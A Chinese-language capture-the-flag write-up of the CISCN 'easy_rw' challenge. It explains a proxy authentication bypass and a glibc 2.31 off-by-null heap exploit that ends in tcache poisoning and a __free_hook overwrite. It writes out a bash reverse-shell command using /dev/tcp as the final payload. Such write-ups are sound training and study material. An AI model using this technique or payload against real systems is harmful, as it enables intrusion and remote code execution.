[Write-up Revenge] 第十九届 CISCN & CCB 初赛 easy_rw
哎哎,赛后半小时才打通本地,第一次接触 off-by-null
题目给了 2 个 binary,libc 版本 2.31,咱们分开来看
1 Proxy
1.1 程序分析
用 IDA 打开,看 strings view 可以发现套了一层 UPX 壳,直接脱开
主函数监听本地 8888 端口,fork 子进程处理连接

分析 sub_2CAA,接收一个 TLV,格式如下
| 4 bytes | 4 bytes | left bytes |
|---|---|---|
| command | payload’s length | payload |
执行 command 前读 config.txt 得到 n 和 d 保存在 .bss 节上
不同 command 功能如下
| command | function |
|---|---|
| 0xFFFF2525 | 认证:按小端序接收一个数 x,快速模幂计算 $x^d\enspace\text{mod}\enspace n$,与字符串 ‘hack’ 的哈希进行比较,相同则返回 cookie |
| 0x7F687985 | 转发:先验证 cookie,然后将 paylaod 剩下部分转发给本地 7777 端口 |
| 0x85856547 | 刷新 config:先将 payload 写进 unk_6140,然后将 src 上保存的 config 内容重新写回 config.txt |
| 0x85856546 | 看 log,没啥用应该 |
1.2 漏洞利用
0x85856547 刷新 config 这里存在漏洞,写 unk_6140 可以溢出到 src,src 在 0x6240,只差 0x100 字节,所以可以无认证写 config

0xFFFF2525 认证这里存在漏洞,计算 ‘hack’ 哈希值的函数将哈希结果的 byte 2 清 0 了,导致最后 strncmp 只比较 2 个字节


这两个漏洞组合起来就是,无认证写 config,使得 n == 0xffffffffffffffff 且 d == 1,模幂结果就变成了输入本身,哈希算法已给出,要输入的就是 0xE621000000000000,从而完成认证拿到 cookie
分别绕过
1 | def send_packet(cmd: int, payload: bytes, host="127.0.0.1", port=8888) -> bytes: |
2 Server
2.1 程序分析
主函数监听本地端口 7777,自己处理连接,sub_15A6 记录了时间戳,sub_151B 又记录时间戳,两个时间戳之间相差太多程序会直接自爆,调试有点麻烦,多了一步就是 set $rax=0

分析 sub_1BFA,可知发包格式为 rtsp://bzJINo/live{"command":"show","param1":"a","param2":"b","param3":"c"}
其中 bzJINo 是需要验证的 userpart,live 可有可无,{"command":"show","param1":"a","param2":"b","param3":"c"} 是接收的 paylaod,是堆管理的指令和参数

其中解析 userpart 的哈希计算用的是 SHA1,而本地存储的值第 3 字节就是 0

所以只要爆破就可以得到 userpart,这里算出一个可行的值为 ‘bzJINo’
1 | import hashlib |
最后是堆管理部分,实现了功能如下
| command | function |
|---|---|
| add | 分配一个不大于 0x400 字节的堆块,上限 99 次,可以写内容 |
| delete | 根据 index 释放堆块,指针置 0 |
| edit | 根据 index 写堆块内容 |
| show | 根据 index 输出堆块内容 |
漏洞点:
- add 功能用的
strncpy,写满 size 时不会补 0,使得 show 功能的%s可以越界读泄露,不过意义不大 - edit 功能主动比较 size,但是用的
<=和strcpy,存在 off-by-null

2.2 Off-by-null
2.31 版本的 off-by-null,基本思路如下
- 准备 3 个堆块,第 3 个堆块为目标堆块,要满足 free 后进入 unsorted bin(足够大或者 tcache 被填满,不与 top chunk 相连)
- 利用漏洞将目标堆块 PREV_INUSE 置 0
- 伪造已经进入 unsorted bin 的虚假堆块
- free 目标堆块,unsorted bin 发生合并,成功构造出 UAF
如下图所示,红色部分就是我们要构造的东西,2.31 会检查伪造的 prevsize 和 size 是否对的上
free target chunk 后它就会和并进入 unsorted bin,并且 unsorted bin 里存放的地址是 addr1,这样我们就可以通过 Chunk1 读写 fake chunk,也可以再将 fake chunk 申请出来

对于本题来说有 size 不大于 0x200 的限制,所以我们要先填满 tcache
本题利用流程如下
- alloc-free-alloc 2 个堆块,泄露堆地址
- 准备连续的 3 个 0x30、0x30、0x300 大小堆块分别为 chunk1、chunk2、chunk3
- 填满 0x300 大小的 tcache
- 利用 chunk1、chunk2 伪造 fake chunk
- free chunk3 触发合并
- alloc 拿到 fake chunk,此时
fake_chunk_addr = chunk1_addr + 0x10 - 利用 fake chunk 泄露 libc
- free 另一个同大小的 chunk 以及 fake chunk
- 利用 chunk1 实现 tcache poisoning,任意地址分配
- 修改
__free_hook指向system - 写一个 chunk 为
"bash -c 'bash -i >& /dev/tcp/127.0.0.1/9999 0<&1'" - free 该 chunk 触发反弹 shell
这里附上触发 unsorted bin 合并前后的图


再申请一个 0x100 大小的堆块

3 EXP
完整 exp 如下
1 | import socket |